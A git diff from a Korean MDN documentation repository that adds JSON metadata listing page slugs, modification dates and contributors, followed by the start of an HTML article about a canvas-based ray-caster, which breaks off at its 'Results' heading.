"Web/Performance": { + "modified": "2020-01-12T15:28:31.330Z", + "contributors": [ + "chrisdavidmills" + ] + }, + "Web/Performance/브라우저는_어떻게_동작하는가": { + "modified": "2020-01-12T15:32:32.519Z", + "contributors": [ + "doong-jo" + ] + }, + "Web/Performance/중요_렌더링_경로": { + "modified": "2020-09-28T15:59:43.713Z", + "contributors": [ + "Joontae-Kim" + ] + }, + "Web/Progressive_web_apps": { + "modified": "2019-03-23T22:00:19.382Z", + "contributors": [ + "chrisdavidmills", + "cs09g" + ] + }, + "Web/Progressive_web_apps/Add_to_home_screen": { + "modified": "2020-01-26T15:58:32.379Z", + "contributors": [ + "alattalatta", + "chrisdavidmills", + "cs09g" + ] + }, + "Web/Progressive_web_apps/App_structure": { + "modified": "2020-05-31T18:37:47.885Z", + "contributors": [ + "chrisdavidmills", + "cs09g" + ] + }, + "Web/Progressive_web_apps/Installable_PWAs": { + "modified": "2020-05-31T18:37:46.514Z", + "contributors": [ + "chrisdavidmills", + "cs09g" + ] + }, + "Web/Progressive_web_apps/Offline_Service_workers": { + "modified": "2020-05-31T18:37:49.321Z", + "contributors": [ + "chrisdavidmills", + "cs09g" + ] + }, + "Web/Progressive_web_apps/Re-engageable_Notifications_Push": { + "modified": "2019-03-18T20:52:11.625Z", + "contributors": [ + "chrisdavidmills", + "cs09g" + ] + }, + "Web/Progressive_web_apps/소개": { + "modified": "2019-03-18T20:52:13.104Z", + "contributors": [ + "chrisdavidmills", + "cs09g" + ] + }, + "Web/SVG": { + "modified": "2019-11-05T05:19:15.768Z", + "contributors": [ + "dbwodlf3", + "u4bi", + "kybin", + "nacyot", + "hoony", + "dewey94esb", + "Delapouite" + ] + }, + "Web/SVG/Applying_SVG_effects_to_HTML_content": { + "modified": "2019-03-23T22:44:07.191Z", + "contributors": [ + "Narrativi", + "hoony" + ] + }, + "Web/SVG/Attribute": { + "modified": "2019-03-23T22:32:34.072Z", + "contributors": [ + "Ninjapolian" + ] + }, + "Web/SVG/Attribute/calcMode": { + "modified": "2019-03-23T22:11:02.860Z", + "contributors": [ + "tadkim" + ] + }, + "Web/SVG/Attribute/cx": { + "modified": "2019-03-23T22:32:29.630Z", + "contributors": [ + "se0kjun" + ] + }, + "Web/SVG/Attribute/d": { + "modified": "2019-03-18T21:21:40.969Z", + "contributors": [ + "officialmansu" + ] + }, + "Web/SVG/Attribute/keyTimes": { + "modified": "2019-03-23T22:11:05.080Z", + "contributors": [ + "tadkim" + ] + }, + "Web/SVG/Attribute/values": { + "modified": "2019-03-23T22:11:11.110Z", + "contributors": [ + "tadkim" + ] + }, + "Web/SVG/Attribute/version": { + "modified": "2019-03-18T21:41:36.785Z", + "contributors": [ + "MyeonghwanCho" + ] + }, + "Web/SVG/Attribute/viewBox": { + "modified": "2019-03-23T22:28:50.142Z", + "contributors": [ + "dragmove" + ] + }, + "Web/SVG/Element": { + "modified": "2019-03-23T23:17:31.660Z", + "contributors": [ + "dewey94esb", + "kscarfone" + ] + }, + "Web/SVG/Element/a": { + "modified": "2020-10-15T21:40:12.249Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "dewey94esb" + ] + }, + "Web/SVG/Element/altGlyph": { + "modified": "2020-10-15T21:40:13.413Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "dewey94esb" + ] + }, + "Web/SVG/Element/circle": { + "modified": "2020-10-15T21:40:18.375Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Sebastianz", + "dewey94esb" + ] + }, + "Web/SVG/Element/ellipse": { + "modified": "2020-10-15T21:46:51.498Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Sebastianz", + "se0kjun" + ] + }, + "Web/SVG/Element/사각형": { + "modified": "2020-10-15T21:27:38.577Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Sebastianz", + "JeongSeongDae" + ] + }, + "Web/SVG/Tutorial": { + "modified": "2019-09-02T22:37:58.598Z", + "contributors": [ + "jwoo0122", + "EatChangmyeong", + "nacyot", + "epicsaga", + "teoli", + "이선영" + ] + }, + "Web/SVG/Tutorial/Introduction": { + "modified": "2019-03-23T22:40:12.666Z", + "contributors": [ + "EatChangmyeong", + "nacyot" + ] + }, + "Web/SVG/Tutorial/Paths": { + "modified": "2019-03-23T22:21:33.428Z", + "contributors": [ + "EatChangmyeong", + "grizlupo", + "newmsz", + "cnaa97" + ] + }, + "Web/SVG/Tutorial/Patterns": { + "modified": "2019-03-18T21:46:02.102Z", + "contributors": [ + "grizlupo" + ] + }, + "Web/SVG/Tutorial/SVG_Image_Tag": { + "modified": "2019-03-18T21:46:01.401Z", + "contributors": [ + "grizlupo" + ] + }, + "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { + "modified": "2019-03-23T23:41:45.629Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Cliffet" + ] + }, + "Web/SVG/Tutorial/기본_도형": { + "modified": "2019-03-23T22:13:37.061Z", + "contributors": [ + "irisHanb", + "officialmansu", + "JongChanLee" + ] + }, + "Web/SVG/Tutorial/시작하기": { + "modified": "2019-03-23T22:20:15.918Z", + "contributors": [ + "Niklane" + ] + }, + "Web/SVG/Tutorial/위치": { + "modified": "2019-03-23T22:19:56.793Z", + "contributors": [ + "Niklane" + ] + }, + "Web/Security": { + "modified": "2020-02-18T07:36:24.047Z", + "contributors": [ + "DeadIntegral", + "wbamberg", + "SphinxKnight", + "2pylab", + "Sheppy" + ] + }, + "Web/Security/Insecure_passwords": { + "modified": "2019-07-20T05:09:42.530Z", + "contributors": [ + "shefollowme" + ] + }, + "Web/Security/Same-origin_policy": { + "modified": "2020-08-22T13:54:54.667Z", + "contributors": [ + "alattalatta", + "jongidal", + "TroyTae", + "midistour", + "seungha-kim", + "ryuan.choi", + "manascue", + "Vermond", + "behumble" + ] + }, + "Web/Security/Transport_Layer_Security": { + "modified": "2020-09-21T00:10:58.229Z", + "contributors": [ + "junnapark", + "haeguri" + ] + }, + "Web/Security/정보_보안_기본": { + "modified": "2019-03-23T22:05:46.762Z", + "contributors": [ + "daebum-lee" + ] + }, + "Web/Tutorials": { + "modified": "2019-03-23T23:28:14.827Z", + "contributors": [ + "featherlikeg", + "nacyot", + "pjc0247", + "tamnajio", + "KyunH" + ] + }, + "Web/Web_Components": { + "modified": "2019-03-18T21:01:19.898Z", + "contributors": [ + "adrenalinee", + "cs09g", + "ByeongGi", + "namkwon", + "maybe" + ] + }, + "Web/Web_Components/Using_custom_elements": { + "modified": "2020-10-15T22:25:18.797Z", + "contributors": [ + "cutelee", + "chdaud1995", + "alattalatta", + "atomDevelop", + "nerdrun", + "ByeongGi" + ] + }, + "Web/Web_Components/Using_shadow_DOM": { + "modified": "2020-07-07T00:49:27.609Z", + "contributors": [ + "ne2030", + "ByeongGi" + ] + }, + "Web/XML": { + "modified": "2019-08-24T00:48:34.627Z", + "contributors": [ + "oinochoe", + "ExE-Boss" + ] + }, + "Web/XML/XML_Introduction": { + "modified": "2019-05-01T21:53:36.067Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Sebuls" + ] + }, + "Web/XPath": { + "modified": "2019-01-16T14:32:58.218Z", + "contributors": [ + "ExE-Boss", + "fscholz", + "Gilchris", + "Netaras" + ] + }, + "Web/XPath/Axes": { + "modified": "2019-03-23T23:41:54.185Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/ancestor": { + "modified": "2019-03-23T23:41:51.868Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/ancestor-or-self": { + "modified": "2019-03-23T23:41:53.193Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/attribute": { + "modified": "2019-01-16T16:16:10.374Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/child": { + "modified": "2019-01-16T16:16:18.107Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/descendant": { + "modified": "2019-01-16T16:16:11.286Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/descendant-or-self": { + "modified": "2019-01-16T16:16:11.121Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/following": { + "modified": "2019-01-16T16:16:17.035Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/following-sibling": { + "modified": "2019-01-16T16:16:13.970Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/namespace": { + "modified": "2019-03-23T23:41:52.884Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/parent": { + "modified": "2019-01-16T16:16:10.076Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/preceding": { + "modified": "2019-01-16T16:16:13.085Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/preceding-sibling": { + "modified": "2019-01-16T16:16:15.097Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Axes/self": { + "modified": "2019-01-16T16:16:15.156Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions": { + "modified": "2019-03-23T23:41:49.260Z", + "contributors": [ + "ExE-Boss", + "teoli", + "mete0r", + "Netaras" + ] + }, + "Web/XPath/Functions/boolean": { + "modified": "2019-03-23T23:41:56.082Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/ceiling": { + "modified": "2019-03-23T23:42:00.420Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/concat": { + "modified": "2019-03-23T23:41:58.810Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/contains": { + "modified": "2019-03-23T23:41:59.602Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/count": { + "modified": "2019-03-23T23:41:58.125Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/current": { + "modified": "2019-03-23T23:41:57.241Z", + "contributors": [ + "ExE-Boss", + "limkukhyun", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/document": { + "modified": "2019-03-23T23:42:02.300Z", + "contributors": [ + "ExE-Boss", + "teoli", + "토끼군", + "Netaras" + ] + }, + "Web/XPath/Functions/element-available": { + "modified": "2019-03-23T23:42:19.012Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/false": { + "modified": "2019-03-23T23:42:21.547Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/floor": { + "modified": "2019-03-23T23:42:21.115Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/format-number": { + "modified": "2019-03-23T23:42:15.373Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/function-available": { + "modified": "2019-03-23T23:42:21.463Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/generate-id": { + "modified": "2019-03-23T23:42:13.517Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/id": { + "modified": "2019-03-23T23:42:21.368Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/key": { + "modified": "2019-03-23T23:42:10.516Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/lang": { + "modified": "2019-03-23T23:42:22.431Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/last": { + "modified": "2019-03-23T23:42:23.803Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/local-name": { + "modified": "2019-03-23T23:42:19.324Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/name": { + "modified": "2019-03-23T23:42:53.708Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/namespace-uri": { + "modified": "2019-03-23T23:42:22.064Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/normalize-space": { + "modified": "2019-03-23T23:42:24.081Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/not": { + "modified": "2019-03-23T23:42:13.806Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/number": { + "modified": "2019-03-23T23:42:20.456Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/position": { + "modified": "2019-03-23T23:42:19.791Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/round": { + "modified": "2019-03-23T23:42:16.877Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/starts-with": { + "modified": "2019-03-23T23:42:20.127Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/string": { + "modified": "2019-03-23T23:42:22.208Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/string-length": { + "modified": "2019-03-23T23:42:16.696Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/substring": { + "modified": "2019-03-23T23:42:17.746Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/substring-after": { + "modified": "2019-03-23T23:42:23.050Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/substring-before": { + "modified": "2019-03-23T23:42:22.325Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/sum": { + "modified": "2019-03-23T23:42:16.787Z", + "contributors": [ + "ExE-Boss", + "arrrggghhh", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/system-property": { + "modified": "2019-03-23T23:42:12.729Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/translate": { + "modified": "2019-03-23T23:42:23.927Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/true": { + "modified": "2019-03-23T23:42:14.932Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XPath/Functions/unparsed-entity-url": { + "modified": "2019-03-23T23:42:10.421Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Netaras" + ] + }, + "Web/XSLT": { + "modified": "2019-03-23T23:44:24.859Z", + "contributors": [ + "chrisdavidmills", + "Verruckt", + "Sebuls", + "Netaras" + ] + }, + "Web/XSLT/Element": { + "modified": "2019-03-23T23:41:46.436Z", + "contributors": [ + "ExE-Boss", + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/Element/element": { + "modified": "2019-03-23T23:42:14.305Z", + "contributors": [ + "ExE-Boss", + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko": { + "modified": "2019-03-23T23:42:13.222Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Sebuls" + ] + }, + "Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction": { + "modified": "2019-03-23T23:42:13.310Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Sebuls" + ] + }, + "Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters": { + "modified": "2019-03-23T23:42:32.566Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Sebuls" + ] + }, + "Web/XSLT/Transforming_XML_with_XSLT": { + "modified": "2019-01-16T16:15:56.433Z", + "contributors": [ + "chrisdavidmills", + "Netaras" + ] + }, + "Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference": { + "modified": "2019-03-23T23:41:43.827Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations": { + "modified": "2019-11-21T00:57:37.403Z", + "contributors": [ + "wbamberg", + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/apply-imports": { + "modified": "2019-03-23T23:42:12.617Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/apply-templates": { + "modified": "2019-03-23T23:42:10.628Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/attribute": { + "modified": "2019-03-23T23:42:16.289Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/attribute-set": { + "modified": "2019-03-23T23:42:15.702Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/call-template": { + "modified": "2019-03-23T23:42:16.020Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/choose": { + "modified": "2019-03-23T23:42:15.795Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/comment": { + "modified": "2019-03-23T23:42:16.482Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/copy": { + "modified": "2019-03-23T23:42:16.108Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/copy-of": { + "modified": "2019-03-23T23:42:16.376Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/decimal-format": { + "modified": "2019-03-23T23:42:15.926Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/fallback": { + "modified": "2019-03-23T23:42:16.195Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/for-each": { + "modified": "2019-03-23T23:42:20.628Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/if": { + "modified": "2019-03-23T23:42:21.027Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/import": { + "modified": "2019-03-23T23:42:22.794Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/include": { + "modified": "2019-03-23T23:42:18.173Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/key": { + "modified": "2019-03-23T23:42:17.165Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/message": { + "modified": "2019-03-23T23:42:22.700Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/namespace-alias": { + "modified": "2019-03-23T23:42:17.355Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/number": { + "modified": "2019-03-23T23:42:19.706Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/otherwise": { + "modified": "2019-03-23T23:42:20.020Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/output": { + "modified": "2019-03-23T23:42:18.564Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/param": { + "modified": "2019-03-23T23:42:19.539Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/preserve-space": { + "modified": "2019-03-23T23:42:19.442Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/processing-instruction": { + "modified": "2019-03-23T23:42:19.930Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/sort": { + "modified": "2019-03-23T23:42:22.944Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/strip-space": { + "modified": "2019-03-23T23:42:17.260Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/stylesheet": { + "modified": "2019-03-23T23:42:20.266Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/template": { + "modified": "2019-03-23T23:42:17.631Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/text": { + "modified": "2019-03-23T23:42:18.405Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/transform": { + "modified": "2019-03-23T23:41:43.222Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/value-of": { + "modified": "2019-03-23T23:42:23.711Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/variable": { + "modified": "2019-03-23T23:42:20.796Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/when": { + "modified": "2019-03-23T23:42:22.611Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/XSLT/with-param": { + "modified": "2019-03-23T23:42:24.179Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Netaras" + ] + }, + "Web/참조": { + "modified": "2019-03-23T23:28:22.951Z", + "contributors": [ + "DeadIntegral", + "jarangseo", + "eyekorea", + "LimeClover", + "Channy", + "hyeonseok", + "narae_lee" + ] + }, + "Web/참조/API": { + "modified": "2019-03-23T23:23:26.342Z", + "contributors": [ + "Netaras", + "tamnajio", + "Channy" + ] + }, + "WebAPI": { + "modified": "2019-03-23T23:30:26.179Z", + "contributors": [ + "wbamberg", + "fscholz", + "oohii", + "hyeonseok", + "PillarLee", + "junho85", + "francisco.jordano" + ] + }, + "WebAPI/Battery_Status": { + "modified": "2020-11-26T10:20:08.081Z", + "contributors": [ + "dink95", + "alattalatta", + "oohii" + ] + }, + "WebAPI/Detecting_device_orientation": { + "modified": "2019-03-23T23:27:06.270Z", + "contributors": [ + "ingpdw", + "PillarLee", + "junho85" + ] + }, + "WebAPI/Managing_screen_orientation": { + "modified": "2019-03-23T23:27:05.980Z", + "contributors": [ + "teoli", + "junho85" + ] + }, + "WebAPI/Network_Information": { + "modified": "2019-03-23T23:26:43.220Z", + "contributors": [ + "hyeonseok" + ] + }, + "WebAPI/Proximity": { + "modified": "2019-03-23T23:26:46.443Z", + "contributors": [ + "yunji_koh" + ] + }, + "WebAPI/Using_Light_Events": { + "modified": "2020-10-15T21:24:18.175Z", + "contributors": [ + "alattalatta", + "hyeonseok" + ] + }, + "WebAPI/Using_Web_Notifications": { + "modified": "2020-03-08T01:03:17.759Z", + "contributors": [ + "feeva", + "oohii", + "junho85" + ] + }, + "WebAPI/Using_geolocation": { + "modified": "2020-04-03T04:36:16.235Z", + "contributors": [ + "alattalatta", + "cs09g", + "chooco13", + "hallower", + "mmnmm", + "xcoda" + ] + }, + "WebAssembly": { + "modified": "2020-10-15T21:52:54.017Z", + "contributors": [ + "limkukhyun", + "lastmirage", + "kesuskim", + "0xABCDEF", + "lukewagner" + ] + }, + "WebAssembly/C_to_wasm": { + "modified": "2020-10-29T08:46:10.367Z", + "contributors": [ + "limkukhyun", + "jung-han", + "04SeoHyun", + "nakyong" + ] + }, + "WebAssembly/Caching_modules": { + "modified": "2019-03-18T21:26:57.835Z", + "contributors": [ + "limkukhyun" + ] + }, + "WebAssembly/Concepts": { + "modified": "2020-09-05T00:16:32.734Z", + "contributors": [ + "jung-han", + "kyhsa93", + "limkukhyun", + "Jungbin-Kim", + "mingrammer", + "kesuskim", + "0xABCDEF" + ] + }, + "WebAssembly/Exported_functions": { + "modified": "2019-03-18T21:27:58.372Z", + "contributors": [ + "limkukhyun" + ] + }, + "WebAssembly/Loading_and_running": { + "modified": "2019-03-23T22:11:38.016Z", + "contributors": [ + "limkukhyun", + "kesuskim" + ] + }, + "WebAssembly/Rust_to_wasm": { + "modified": "2020-06-15T19:31:56.028Z", + "contributors": [ + "fantajeon", + "04SeoHyun", + "piutranq", + "limkukhyun" + ] + }, + "WebAssembly/Text_format_to_wasm": { + "modified": "2019-03-18T21:28:27.225Z", + "contributors": [ + "limkukhyun" + ] + }, + "WebAssembly/Understanding_the_text_format": { + "modified": "2019-03-23T22:04:19.997Z", + "contributors": [ + "limkukhyun", + "a1p4ca", + "composite" + ] + }, + "WebAssembly/Using_the_JavaScript_API": { + "modified": "2019-12-26T10:33:44.717Z", + "contributors": [ + "04SeoHyun", + "limkukhyun" + ] + }, + "WebAssembly/existing_C_to_wasm": { + "modified": "2019-03-18T21:28:25.734Z", + "contributors": [ + "limkukhyun" + ] + }, + "WebSockets": { + "modified": "2019-03-23T23:30:25.980Z", + "contributors": [ + "d-wook", + "Geun-Hyung_Kim", + "pjc0247", + "ELem" + ] + }, + "WebSockets/Writing_WebSocket_client_applications": { + "modified": "2020-11-11T22:09:43.354Z", + "contributors": [ + "CJ_Lee", + "VBChunguk", + "michellehuh", + "pjc0247", + "rutesun" + ] + }, + "WebSockets/Writing_WebSocket_servers": { + "modified": "2020-11-26T05:53:45.381Z", + "contributors": [ + "gdev219", + "soon0698", + "lpsgm63", + "zerunus", + "SQLGate", + "green-autumn", + "pjc0247" + ] + }, + "Web_Development": { + "modified": "2019-03-23T23:41:47.329Z", + "contributors": [ + "teoli", + "Jiyoon", + "Unixcruiser", + "Netaras", + "Sebuls" + ] + }, + "Windows_and_menus_in_XULRunner": { + "modified": "2019-01-16T15:50:48.799Z", + "contributors": [ + "Channy" + ] + }, + "XHTML": { + "modified": "2019-12-26T10:45:10.722Z", + "contributors": [ + "04SeoHyun", + "jeonnoej", + "teoli", + "Sebuls" + ] + }, + "XSLT_in_Gecko": { + "modified": "2019-01-16T16:14:51.504Z", + "contributors": [ + "Sebuls" + ] + }, + "XSLT_in_Gecko/Basic_Example": { + "modified": "2019-01-16T16:14:48.906Z", + "contributors": [ + "Sebuls" + ] + }, + "XSLT_in_Gecko/Browser_Differences": { + "modified": "2019-01-16T16:15:11.615Z", + "contributors": [ + "Sebuls" + ] + }, + "XSLT_in_Gecko/Generating_HTML": { + "modified": "2019-01-16T16:14:51.789Z", + "contributors": [ + "Sebuls" + ] + }, + "XSLT_in_Gecko/Introduction": { + "modified": "2019-01-16T16:14:50.568Z", + "contributors": [ + "Sebuls" + ] + }, + "XSLT_in_Gecko/Resources": { + "modified": "2019-03-23T23:42:20.360Z", + "contributors": [ + "teoli", + "Sebuls" + ] + }, + "개발자를_위한_Firefox_3.6": { + "modified": "2019-12-13T20:33:13.788Z", + "contributors": [ + "wbamberg", + "SphinxKnight", + "teoli", + "kladess" + ] + }, + "지역의_코드를_씁니다.": { + "modified": "2019-01-16T14:36:32.523Z", + "contributors": [ + "wkdqudso" + ] + }, + "확장기능_개발_환경_구축": { + "modified": "2019-03-24T00:02:16.151Z", + "contributors": [ + "teoli", + "kladess" + ] + } +} \ No newline at end of file diff --git a/files/ko/a_basic_raycaster/index.html b/files/ko/a_basic_raycaster/index.html new file mode 100644 index 0000000000..950b0f5366 --- /dev/null +++ b/files/ko/a_basic_raycaster/index.html @@ -0,0 +1,53 @@ +--- +title: A basic ray-caster +slug: A_Basic_RayCaster +tags: + - Advanced + - Canvas + - Example + - Graphics + - HTML + - Web +translation_of: Web/API/Canvas_API/A_basic_ray-caster +--- +
{{CanvasSidebar}}
+ +

This article provides an interesting real-world example of using the {{HTMLElement("canvas")}} element to do software rendering of a 3D environment using ray-casting.

+ +

{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}

+ +

Open in new window

+ +

Why?

+ +

After realizing, to my delight, that the nifty <canvas> element I'd been reading about was not only soon to be supported in Firefox, but was already supported in the current version of Safari, I had to try a little experiment.

+ +

The canvas overview and tutorial I found here at MDN are great, but nobody had written about animation yet, so I thought I'd try a port of a basic raycaster I'd worked on a while ago, and see what sort of performance we can expect from a JavaScript-controlled pixel buffer.

+ +

How?

+ +

The basic idea is to use {{domxref("window.setInterval","setInterval()")}} at some arbitrary delay that corresponds to a desired frame rate. After every interval an update function will repaint the canvas showing the current view. I know I could have started with a simpler example, but I'm sure the canvas tutorial will get to that, and I wanted to see if I could do this.

+ +

So every update, the raycaster looks to see if you've pressed any keys lately, to conserve calculations by not casting if you're idle. If you have, then the canvas is cleared, the ground and sky are drawn, the camera position and/or orientation are updated, and the rays are cast out. As the rays intersect walls, then they render a vertical sliver of canvas in the color of the wall they've hit, blended with a darker version of the color according to the distance to the wall. The height of the sliver is also modulated by the distance from the camera to the wall, and is drawn centered over the horizon line.

+ +

The code I ended up with is a regurgitated amalgam of the raycaster chapters from an old André LaMotheTricks of the Game Programming Gurus book (ISBN: 0672305070), and a java raycaster I found online, filtered through my compulsion to rename everything so it makes sense to me, and all the tinkering that had to be done to make things work well.

+ +

Results

+ +

